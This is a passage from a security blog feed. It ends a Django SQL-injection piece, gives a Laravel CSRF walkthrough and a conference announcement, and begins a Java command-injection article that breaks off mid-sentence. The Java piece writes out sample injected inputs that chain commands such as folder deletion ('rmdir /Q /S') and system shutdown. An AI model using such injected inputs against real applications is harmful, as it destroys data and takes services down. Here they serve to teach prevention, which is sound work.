returns model instances. Let’s review this example. &lt;/p&gt;&lt;p&gt;&lt;code&gt;class Person(models.Model):&lt;/code&gt;&lt;/p&gt;&lt;p&gt; &lt;code&gt;first_name = models.CharField(...)&lt;/code&gt;&lt;/p&gt;&lt;p&gt; &lt;code&gt;last_name = models.CharField(...)&lt;/code&gt;&lt;/p&gt;&lt;p&gt; &lt;code&gt;birth_date = models.DateField(...)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The above model represents a database table with three fields, so we can execute the following queries: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; query = &amp;#39;SELECT * FROM myapp_person WHERE last_name = %s&amp;#39; **% lname**&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; Person.objects.raw(query)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;or &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; query = &amp;quot;SELECT * FROM myapp_person WHERE last_name = **&amp;#39;%s&amp;#39;**&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Both queries will execute correctly, but they contain errors. The first query is using Python string formatting, and the second one is quoting the placeholder. These are two common errors that &lt;i&gt;you must avoid&lt;/i&gt;. The &lt;b&gt;raw&lt;/b&gt; method has a parameter called &lt;b&gt;params&lt;/b&gt;. You must use that parameter to pass a parameter list or a dictionary, and use &lt;b&gt;%s (or %(key)s )&lt;/b&gt; &lt;i&gt;without quoting&lt;/i&gt; as a parameter placeholder. That way, the database driver will quote each parameter correctly. Below is the correct way to use the &lt;b&gt;raw&lt;/b&gt; method. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; lname = &amp;#39;Doe&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; Person.objects.raw(&amp;#39;SELECT * FROM myapp_person WHERE last_name = %s&amp;#39;, [lname])&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The &lt;b&gt;raw&lt;/b&gt; method receives a query and list of parameters. It’s important to note that &lt;b&gt;%s&lt;/b&gt; represents the placeholder for each parameter in the list. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Direct SQL&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;There are times when the &lt;b&gt;raw&lt;/b&gt; method isn’t enough, and you have to execute queries directly. You may use the object &lt;b&gt;django.db.connection&lt;/b&gt; to &lt;i&gt;speak&lt;/i&gt; directly to the database. Take this &lt;a href=&quot;https://docs.djangoproject.com/en/3.1/topics/db/sql/#executing-custom-sql-directly&quot;&gt;example&lt;/a&gt;: &lt;/p&gt;&lt;p&gt;&lt;code&gt;from django.db import connection&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;def my_custom_sql(self):&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  with connection.cursor() as cursor:&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    cursor.execute(&amp;quot;UPDATE bar SET foo = 1 WHERE baz = %s&amp;quot;, [self.baz])&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    cursor.execute(&amp;quot;SELECT foo FROM bar WHERE baz = %s&amp;quot;, [self.baz])&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    row = cursor.fetchone()&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  return row&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Once again, to protect against SQL injection, use parameters and don’t include quotes around the &lt;b&gt;%s&lt;/b&gt; placeholders. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;RawSQL&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The last way to express complex &lt;b&gt;WHERE&lt;/b&gt; clauses is using the RawSQL expression. For example, take a look at the below: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; queryset.annotate(val=RawSQL(&amp;quot;select col from sometable where othercol = %s&amp;quot;, (someparam,)))&lt;/code&gt;&lt;/p&gt;&lt;p&gt;As in the previous section, the same parameter and placeholder rules apply. You must use a list to pass parameters to your query, don’t use text formatting, and don’t quote the placeholder. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;If you &lt;b&gt;don’t follow this recommendation&lt;/b&gt;, your query will be unsafe, and an SQL injection attack will most likely succeed. &lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Summary&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In this post, we looked at a brief SQL injection definition. As mentioned, to learn more, take a look at the article linked above. &lt;/p&gt;&lt;p&gt;As you read, you may have noticed the attack pattern. It’s important to note once more how to mitigate it: you must always sanitize each and every user input. If you fail in doing so, your data and your application’s security may be in serious danger. &lt;/p&gt;&lt;p&gt;Finally, Django is a very powerful framework, and it can help you develop your application fast while also keeping it secure. And if you don’t use Django, at least implement the parameterized query practice. It may save you one day. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Pablo Macias Gonzalez.&lt;/i&gt; &lt;a href=&quot;https://www.linkedin.com/in/jpmaciasg/&quot;&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/a&gt; &lt;i&gt;is a computer systems engineer with experience in backend, frontend, databases and systems administration.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Laravel CSRF Protection Guide: Examples and How to Enable]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/laravel-csrf-protection-guide</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;With more and more of our lives shifting online, malicious entities look to compromise websites in ever more inventive ways. While some techniques are extremely technical in nature and require weeks of planning, some attack vectors are less sophisticated — but no less damaging — and require only a tiny gap in a website’s defenses to get through. In this post, you’ll learn what CSRF is and how you can protect your Laravel websites against this kind of vulnerability.&lt;/p&gt;&lt;p&gt;This type of attack relies on websites trusting requests made by authenticated users, regardless of the source of the request. We’ll have a look at how this vulnerability works and how to protect yourself using CSRF middleware that ships with Laravel.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;CSRF? What’s That?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Now, let’s find out more about the CSRF vulnerability.&lt;/p&gt;&lt;p&gt;CSRF stands for cross-site request forgery. It’s a type of malicious exploit that allows a third-party website to mimic a trusted user on the target website.&lt;/p&gt;&lt;p&gt;Browsers use HTTP methods such as &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;POST&lt;/code&gt;, and &lt;code&gt;DELETE&lt;/code&gt; to communicate with websites. This communication takes the form of requesting a webpage or carrying out an action on the server. While most of these requests could be benign (e.g., “Give me the homepage”), protected requests need to be hidden away behind some type of an authentication mechanism.&lt;/p&gt;&lt;p&gt;These authentication systems would then use cookies in each request to identify users and mark them as trusted.&lt;/p&gt;&lt;p&gt;Problems arise when a bad actor creates a malicious request for a page or action without the user’s knowledge and tricks the source website into thinking it’s a legitimate request.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Working With Examples&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Now that we understand what a CSRF attack is, let’s see how it could be carried out by way of an example.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Install Laravel&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The first step is to install Laravel. I’m on macOS, so I’m going to use Docker desktop to set up a Laravel 8 project. Full installation instructions for other environments are listed &lt;a href=&quot;https://laravel.com/docs/8.x/installation&quot;&gt;here&lt;/a&gt;. Start by running the following commands:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Once the commands finish processing, there should be a new &lt;b&gt;csrf-example-app&lt;/b&gt; folder, and you should see something like the following when you visit http://localhost:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Set Up Authentication&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Before we get started, you should remember that Laravel Sail runs inside a Docker container. This means it’s isolated from your local development environment. However, Sail offers an easy way to run any arbitrary commands such as artisan, PHP, or npm against your application. To run a command, simply prepend the path to Sail in front of your command. You can find more about running different commands &lt;a href=&quot;https://laravel.com/docs/8.x/sail#executing-sail-commands&quot;&gt;here&lt;/a&gt;. If you’re not running your application inside Docker, then you don’t have to worry about this and can omit the Sail command.&lt;/p&gt;&lt;p&gt;The latest version of Laravel makes it very easy to set up a simple authentication system using Laravel starter kits. We’ll be using the Laravel Breeze starter kit to set up basic authentication.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Once these commands complete, Laravel will have installed Laravel Breeze and set up some basic scaffolding to build an authentication-enabled app. Since we don’t need anything more than the basic scaffolding, we can leave things as they are. You should now have the following pages available to you:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;http://localhost/register&lt;/b&gt;, where you can create your account.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;http://localhost/login&lt;/b&gt;, where you can sign in to Laravel with an account you created.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;http://localhost/dashboard&lt;/b&gt;, which is available only once you log in.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;Set Up Simulated Functionality&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Now we need to set up some functionality that the malicious website can take over. Let’s keep things simple and allow the user to update their name via the dashboard. To do this, we’ll need the following:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;A new &lt;code&gt;&lt;b&gt;UserController&lt;/b&gt;&lt;/code&gt; to handle the form submission.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A view to input the user’s name. We’ll use the existing dashboard view for this.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;An update to the route file to link it all together.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;First, let’s create a new controller to handle the update for the user object. Create a new controller &lt;b&gt;/app/Http/Controllers/UserController.php&lt;/b&gt; and put the following code in it:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now, let’s update the view so that we can update our name when we’re logged in. Open up the &lt;b&gt;/resources/views/dashboard.blade.php&lt;/b&gt; file and update it so it looks something like what’s shown below:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If some of the syntaxes look a little strange, don’t worry! I’m using Blade components to make sure my form looks like the rest of the application. The example will work just fine if you use plain HTML markup instead. You can learn more about Blade components&lt;a href=&quot;https://laravel.com/docs/8.x/blade#components&quot;&gt; here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Finally, let’s connect it all using a route. Update the &lt;b&gt;routes/web.php&lt;/b&gt; route file and add the following to it:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;We’ve now created a route that captures calls to &lt;b&gt;/users&lt;/b&gt; using the PATH HTTP method and routes them to the &lt;b&gt;update&lt;/b&gt; method of the &lt;b&gt;&lt;code&gt;UserController&lt;/code&gt;&lt;/b&gt; class.&lt;/p&gt;&lt;p&gt;If you navigate your browser to &lt;b&gt;http://localhost/dashboard&lt;/b&gt;, you should see your updates reflected on the dashboard page:&lt;/p&gt;&lt;p&gt;&lt;i&gt;Logged in users should now be able to update their name.&lt;/i&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Disable CSRF Protections&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;If you try to update your name using the form, you’re going to be shown a strange error message.&lt;/p&gt;&lt;p&gt;&lt;i&gt;If you try updating your name, Laravel shows you an error message.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;This happens because Laravel comes with CSRF middleware enabled out of the box. Since we haven’t set up our form to use CSRF middleware yet, Laravel is telling us that the form cannot be processed. Let’s disable CSRF protection for now so we can see how the vulnerability works. Open up the &lt;b&gt;app/Http/Middleware/VerifyCsrfToken.php&lt;/b&gt; file and add an exclusion for all routes as shown below.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now that we’ve disabled the CSRF middleware, we can update our name using the form we created. Have a go — it should result in something like the below:&lt;/p&gt;&lt;p&gt;&lt;i&gt;You can now update your name in the database.&lt;/i&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Exploit the Weakness&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Now that we have everything set up and CSRF protection is disabled, we can examine how a CSRF vulnerability can be exploited by malicious actors. Let’s have a look at a very basic example of the attack. Create an HTML file with the following content:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You can use PHP’s built-in web server to serve this page. If you have PHP installed, simply type &lt;b&gt;php -S localhost:8000&lt;/b&gt; in the directory that the file is stored in and access it via &lt;b&gt;http://localhost:8000/bad-site.html&lt;/b&gt;. You should see something like what we see below:&lt;/p&gt;&lt;p&gt;&lt;i&gt;Clicking the button will update your name on our test website.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Now, if you go back to our test website and look at the dashboard page, you’ll see that your name has been changed to &lt;b&gt;Attacked!&lt;/b&gt; Our malicious website was able to send a payload to the legitimate website without the user explicitly intending to. This attack can even be done in the background, without the need for the user to click a button.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Protect Yourself from CSRF Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Now that we’ve seen how easy it is to carry out a CSRF exploit on a weakened website, how do we protect ourselves from this type of attack vector? Thankfully, Laravel makes this very easy for us. As mentioned before, Laravel comes with CSRF protection enabled out of the box. So, let’s go back to our middleware file &lt;b&gt;app/Http/Middleware/VerifyCsrfToken.php&lt;/b&gt; and update it so that it looks like the following:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now that we’ve removed all exceptions from the middleware, it will check for the CSRF token in every request. If we try using our bad site example now, you’ll see that the exploit no longer works. But you’ll also find that our form that legitimately updates the name is also broken.&lt;/p&gt;&lt;p&gt;To fix our own site’s form, we need to let the CSRF middleware know that the request is valid. We can use the &lt;b&gt;@csrf&lt;/b&gt; Blade directive for this. Update your markup with the CSRF token directive and add it to the Blade view stored at &lt;b&gt;resources/views/dashboard.blade.php&lt;/b&gt;.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;And now everything should be working as intended. As long as you add the CSRF Blade directive to your forms, Laravel can identify the validity of the request and process it, or discard it in the case of malicious requests.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Underneath the Hood&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;But what exactly is going on here? If we look at the form HTML, we can see that there’s a hidden token field.&lt;/p&gt;&lt;p&gt;&lt;i&gt;The hidden field contains the token that the middleware uses to validate the request.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Whenever a page is generated, Laravel creates a time-sensitive, one-time use token and adds it to the form. The CSRF middleware examines the token whenever a form is submitted, and it verifies that the application generated the token before letting the request go through. If the token has expired or doesn’t match a value that Laravel is expecting, it will display an HTTP 419 code page expired error.&lt;/p&gt;&lt;p&gt;Sometimes you’re not working with HTML forms and you want to access this token in other places. For example, when you want to make an Ajax call from your application, what do you do then? One option is to move it to an HTML meta tag and access that value from your JavaScript code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;meta name=&amp;quot;csrf-token&amp;quot; content=&amp;quot;{{ csrf_token() }}&amp;quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;You can find more details about this approach&lt;a href=&quot;https://laravel.com/docs/8.x/csrf#csrf-x-csrf-token&quot;&gt; here&lt;/a&gt;.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Conditionally Disable CSRF Protection in Laravel&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Sometimes you may want to disable CSRF protection for certain routes or entire route groups. For example, if your endpoints are functioning as an API endpoint, you will want to disable CSRF protection and add other layers of protection. To disable specific URLs, you can modify the &lt;b&gt;app/Http/Middleware/VerifyCsrfToken.php&lt;/b&gt; middleware file and add exclusions so that Laravel doesn’t apply the protection to those URLs. An example from the Laravel docs is shown below, and you can find more information about this&lt;a href=&quot;https://laravel.com/docs/8.x/csrf#csrf-excluding-uris&quot;&gt; here&lt;/a&gt;:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Know Your Enemy&lt;/b&gt;&lt;/h3&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In this post, we briefly looked at the nature of CSRF attacks, created an example that exploited a weakened website, and learned how to protect ourselves from the most common forms of attack. Using a framework such as Laravel that handles the most common exploits for you is the first step. However, application security is an ongoing battle against an ever-growing list of automated and manual tools.&lt;/p&gt;&lt;p&gt;To learn more about how Laravel handles CSRF vulnerabilities, you can head over to&lt;a href=&quot;https://laravel.com/docs/8.x/csrf&quot;&gt; its official documentation&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by John Pereira. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/jomanlk&quot;&gt;&lt;i&gt;John&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a technology enthusiast who’s passionate about his work and all forms of technology. With over 15 years in the technology space, his area of expertise lies in API and large scale web application development, and its related constellation of technologies and processes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Proudly Presenting the First-Ever ZAPCon]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/proudly-presenting-zapcon</guid><category><![CDATA[ZAP]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;If you are an AppSec expert, a developer curious about security automation or a DevOps engineer looking to add security testing to CI/CD, ZAPCon is the event for you! &lt;/p&gt;&lt;h3&gt;The ZAPCon Lineup&lt;/h3&gt;&lt;p&gt;The conference has great &lt;a href=&quot;https://zapcon.io/#schedule&quot;&gt;speakers and sessions&lt;/a&gt; scheduled including: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;An opening keynote from ZAP project lead, Simon Bennetts. Tune in to hear what is on the roadmap for ZAP and how the tool will continue to make security testing easier for developers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;User stories that cover implementing ZAP for fintech and mobile applications.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Technical sessions that will show ZAP automation and integrations.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A Discord community for users to connect with peers and speakers.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;ZAP was created in 2010 to be the application security tool for developers. The tool has grown immensely over the last decade. As of 2021, the security testing tool sees over 2,000,000 Docker pulls and 50,000 direct downloads each month.&lt;/p&gt;&lt;h3&gt;We ❤️ ZAP&lt;/h3&gt;&lt;p&gt;At StackHawk, we are huge ZAP fans. From our outset, we knew that ZAP was the best in class option when it comes to DAST scanners – which is why we built the StackHawk platform on top of it. &lt;a href=&quot;https://www.stackhawk.com/blog/zap-founder-decides-to-join-stackhawk/&quot;&gt;Simon Bennetts join our team&lt;/a&gt; in the summer of 2020 and since then, our love for the tool has only grown. &lt;/p&gt;&lt;p&gt;We are committed to giving back to the ZAP open source community. Our team has made contributions to the source code, &lt;a href=&quot;https://www.youtube.com/watch?v=CxjHGWk4BCs&amp;list=PLz_NN8o2uh8AQ7VyUEN1GCCnpzl5_FaJA&quot;&gt;created content&lt;/a&gt; to help users understand the scanner better, and we are active members of the online &lt;a href=&quot;https://groups.google.com/g/zaproxy-users&quot;&gt;user group&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;ZAPCon represents an entirely new way to contribute back to the open source community. Bringing this conference to life for the first time is one of our proudest achievements to date. We can’t wait to connect with other users and help create more fans of ZAP all over the world.&lt;/p&gt;&lt;p&gt;Make sure to &lt;a href=&quot;https://www.eventbrite.com/e/zapcon-2021-registration-138800517083?aff=StackHawkBlog&quot;&gt;get your free ticket,&lt;/a&gt; and for more details, check out the &lt;a href=&quot;https://zapcon.io/&quot;&gt;ZAPCon website&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Command Injection in Java: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/command-injection-java</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Injections are one of the most common vulnerabilities in applications. Depending on what environment and utilities you use, there can be a variety of &lt;a href=&quot;https://owasp.org/www-project-top-ten/2017/A1_2017-Injection&quot;&gt;injection flaws&lt;/a&gt;. Among these types, command injection is one of the most dangerous. The impact of command injection can range from stealing data, changing system configurations, or even bringing the whole system down. Malicious actors sometimes use command injection to create security weaknesses in the system and then exploit the newly created weaknesses.&lt;/p&gt;&lt;p&gt;It’s crucial to secure applications from vulnerabilities. And Java is one of the most popular programming languages for application development. So, in this post, let’s see what command injection is and how it works in Java and, finally, understand how we can prevent command injection vulnerabilities.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;What Is Command Injection?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Command injection is a technique where a malicious actor tries to execute OS commands on the system hosting the application. Some features might need you to use system commands. And in some cases, user input is part of these commands. For example, you could be storing users’ data through your application in a folder named after the username. You could be using system commands to check if a user’s directory exists and then show the files in that directory.&lt;/p&gt;&lt;p&gt;In such cases, you’re using some information provided by the user (the username) and using it in system commands. This creates a possibility for command injection vulnerabilities. For a command injection attack to work, the application should meet three main conditions:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The application should have privileges/permissions to execute system commands.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The application should use user-provided data as a part of system commands.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The user-provided data should not be escaped/sanitized before use.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;If your application meets these conditions, then there’s a pretty good chance that your application is vulnerable to command injections. You can’t always trust user input. So, let’s take the above example where you’re storing user data in a folder. If the user enters a valid username, then it’s all good. The application executes the command and everything goes as planned. But if a malicious user gives an injection as the input, then there’s a problem.&lt;/p&gt;&lt;p&gt;To understand command injection better, let’s take an example and see how it works.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;How Does Command Injection Work?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Here’s a Java program that meets all three conditions mentioned above:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The above code asks the user for a username. When the user enters the username, the code checks if there’s a folder that matches the username. If yes, it uses a system command to display the contents of the folder; if not, it displays an error message. I’ve created a folder named “Tony” and created a few files in it.&lt;/p&gt;&lt;p&gt;First, let’s see what happens if we give valid input:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;When I give “Tony” as input, the application generates the following line:&lt;/p&gt;&lt;p&gt;&lt;code&gt;cmd.exe /c dir ./Data/Tony&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.file.net/process/cmd.exe.html&quot;&gt;cmd.exe&lt;/a&gt; is the command prompt, and it executes the command &lt;i&gt;&lt;b&gt;dir ./Data/Tony&lt;/b&gt;&lt;/i&gt;&lt;i&gt;.&lt;/i&gt; This shows us all the files in the folder named “Tony”. Now, what if along with the username, we added something malicious. Let’s say I give the following input as the username:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Tony &amp;amp; ping -n 2 8.8.8.8&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Based on this input, the application generates the following command to execute:&lt;/p&gt;&lt;p&gt;&lt;code&gt;dir ./Data/Tony &amp;amp; ping -n 2 8.8.8.8&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&amp;amp;&lt;/b&gt; is used to run multiple commands in a single line. When the above is executed, it first checks for a folder named “Tony”. And because we have that folder, it will display the contents of that folder. But the command doesn’t end there. The next part of the command is pinging to an IP. Now, the application also executes this part of the command:&lt;/p&gt;&lt;p&gt;This is how command injections work. Malicious actors craft input such that it manipulates the original function of the application.&lt;/p&gt;&lt;p&gt;What if the injection was more dangerous than just pinging to an IP—like, “shut down the system” or “delete an important file”? The result would be catastrophic.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Dangerous Payloads&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Here’s an example of a payload for Windows to delete a folder:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Tony &amp;amp; dir &amp;amp; rmdir /Q /S Important &amp;amp; dir &lt;/code&gt;&lt;/p&gt;&lt;p&gt;This payload should delete the folder named &lt;i&gt;&lt;b&gt;Important.&lt;/b&gt;&lt;/i&gt; I’m using the &lt;i&gt;&lt;b&gt;dir&lt;/b&gt;&lt;/i&gt; command to display the contents of the folder before and after deletion.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Another example is if the input is &lt;i&gt;&lt;b&gt;Tony &amp;amp; shutdown /s&lt;/b&gt;&lt;/i&gt;&lt;i&gt;.&lt;/i&gt; The command would be:&lt;/p&gt;&lt;p&gt;&lt;code&gt;dir ./Data/Tony &amp;amp; shutdown /s&lt;/code&gt;&lt;/p&gt;&lt;p&gt;If the application executes this command, the command prompt would first display the contents of the file and then shut down the system. When this command is executed on the server, the whole application could go down.&lt;/p&gt;&lt;p&gt;Here are some examples of dangerous commands for &lt;a href=&quot;https://olhardigital.com.br/en/2019/12/23/dicas-e-tutoriais/descubra-quais-sao-os-7-comandos-perigosos-no-windows/?gfetch=2019%2F12%2F23%2Ftips-and-tutorials%2Ffind-out-what-are-the-7-dangerous-commands-on-windows%2F&quot;&gt;Windows&lt;/a&gt; and &lt;a href=&quot;https://www.howtogeek.com/125157/8-deadly-commands-you-should-never-run-on-linux/&quot;&gt;Linux-based&lt;/a&gt; operating systems. &lt;i&gt;&lt;b&gt;NOTE: Do not run these commands unless you know what you’re doing!&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Sounds scary, doesn’t it? But don’t worry, we can protect ourselves from command injections.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Preventing Command Injection Attacks&lt;/b&gt;&lt;/p&gt;&lt;p&gt;There’s no master key to prevent command injections. It means that you can’t just implement one thing and expect to be secure. You need to add multiple layers of &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-belongs-in-the-ci-pipeline/&quot;&gt;security&lt;/a&gt;. When it comes to security, the more, the better. So, here are some common and useful prevention methods.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;If you’re not using system commands, then command injections aren’t possible.&lt;/p&gt;&lt;/blockquote&gt;&lt;h4&gt;&lt;b&gt;Do You Need System Commands?&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;This is the first question you need to ask yourself. If you’re not using system commands, then command injections aren’t possible. So, the first step is to avoid using system commands.&lt;/p&gt;&lt;p&gt;The next question to ask yourself is, “Are there any alternatives?” In some cases, you have to use system functions. There’s no workaround. But you don’t necessarily need to use system commands. Java offers a wide range of libraries and functions that do the same task as system commands. So, you’d still be doing the same thing but not by directly executing system commands.&lt;/p&gt;&lt;p&gt;Let’s take an example of the use-case discussed above. You have to check if a user’s directory exists, and if it does, show the files in that directory. The following code has two sections: first, where we use a library, and second, where we’re using direct system commands on the command line.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;When you give a valid input—i.e., &lt;i&gt;&lt;b&gt;Tony.&lt;/b&gt;&lt;/i&gt;—you get proper results from both approaches.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;But when you give a malicious payload as input, the library function throws an error. Whereas the application executes the payload when using system commands.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The advantage of using such libraries over system commands is that most of these libraries have considered the security aspects and have implemented security measures and checks.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Escaping Input&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;In most cases, for a command injection to work, a user needs to use multiple commands in a single line. And these commands are delimited by certain characters. In the above example, we saw how the character &lt;i&gt;&lt;b&gt;&amp;amp;&lt;/b&gt;&lt;/i&gt; (ampersand) was used to run two commands. But that’s not it—there are &lt;a href=&quot;https://wiki.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)#Sanitization&quot;&gt;more such characters&lt;/a&gt;. Some common characters are &lt;i&gt;&lt;b&gt;;&lt;/b&gt;&lt;/i&gt; (semicolon) and &lt;i&gt;&lt;b&gt;|&lt;/b&gt;&lt;/i&gt; (pipeline). There’s also backtick (&lt;b&gt;`&lt;/b&gt;), which has a special meaning. When a command is enclosed within backticks, that command is evaluated before the main command is executed. For example, if the command looks like:&lt;/p&gt;&lt;p&gt;&lt;b&gt;command_1 `command_2`&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Then command_2 is executed first and its output is used in command_1.&lt;/p&gt;&lt;p&gt;You should escape such characters in user input. You could &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html&quot;&gt;validate&lt;/a&gt; the input, strip these characters, or parse input with these characters to get the desired data.&lt;/p&gt;&lt;p&gt;Here’s a code snippet to strip and escape these special characters:&lt;/p&gt;&lt;p&gt;Once I generate the command as shown in the code above, I’ll use the following code to strip and escape special characters.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Here, you can see that the code strips and escapes the special characters, making the 